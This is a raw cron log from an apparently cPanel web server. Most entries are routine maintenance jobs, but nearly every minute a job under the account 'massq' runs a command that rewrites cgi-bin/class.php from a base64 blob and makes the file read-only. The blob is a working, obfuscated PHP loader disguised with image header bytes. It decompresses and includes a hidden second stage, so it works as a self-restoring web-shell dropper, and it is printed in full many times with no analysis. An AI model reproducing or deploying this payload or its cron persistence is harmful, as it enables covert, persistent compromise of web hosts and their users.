Sep  9 10:50:01 server CROND[1501]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:50:01 server CROND[1498]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:50:01 server CROND[1500]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:50:01 server CROND[1499]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:51:01 server CROND[2341]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:51:01 server CROND[2342]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:51:01 server CROND[2343]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:52:01 server CROND[2770]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:52:01 server CROND[2771]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:52:01 server CROND[2772]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:53:01 server CROND[3236]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:53:01 server CROND[3237]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:53:01 server CROND[3238]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:54:01 server CROND[3608]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:54:01 server CROND[3609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:54:01 server CROND[3610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:55:01 server CROND[3987]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 10:55:01 server CROND[3989]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:55:01 server CROND[4001]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 10:55:01 server CROND[4002]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 10:55:01 server CROND[4004]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 10:55:01 server CROND[4008]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:55:01 server CROND[4003]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:56:01 server CROND[4821]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:56:01 server CROND[4822]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:56:01 server CROND[4823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:57:01 server CROND[5189]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  9 10:57:01 server CROND[5190]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:57:01 server CROND[5192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:57:01 server CROND[5191]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:58:01 server CROND[5655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:58:01 server CROND[5657]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 10:58:01 server CROND[5656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:59:01 server CROND[6023]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 10:59:01 server CROND[6024]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 10:59:01 server CROND[6025]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:00:01 server CROND[6403]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  9 11:00:01 server CROND[6406]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  9 11:00:01 server CROND[6407]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  9 11:00:01 server CROND[6409]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  9 11:00:01 server CROND[6411]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:00:01 server CROND[6410]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:00:01 server CROND[6408]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:00:01 server CROND[6415]: (root) CMD (   bash -c 'sleep $((RANDOM % 1800))' ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Sep  9 11:00:01 server CROND[6412]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  9 11:01:01 server CROND[7231]: (root) CMD (run-parts /etc/cron.hourly)
Sep  9 11:01:01 server CROND[7233]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  9 11:01:01 server CROND[7232]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  9 11:01:01 server CROND[7234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  9 11:01:01 server run-parts(/etc/cron.hourly)[7231]: starting 0anacron
Sep  9 11:01:01 server run-parts(/etc/cron.hourly)[7254]: finished 0anacron
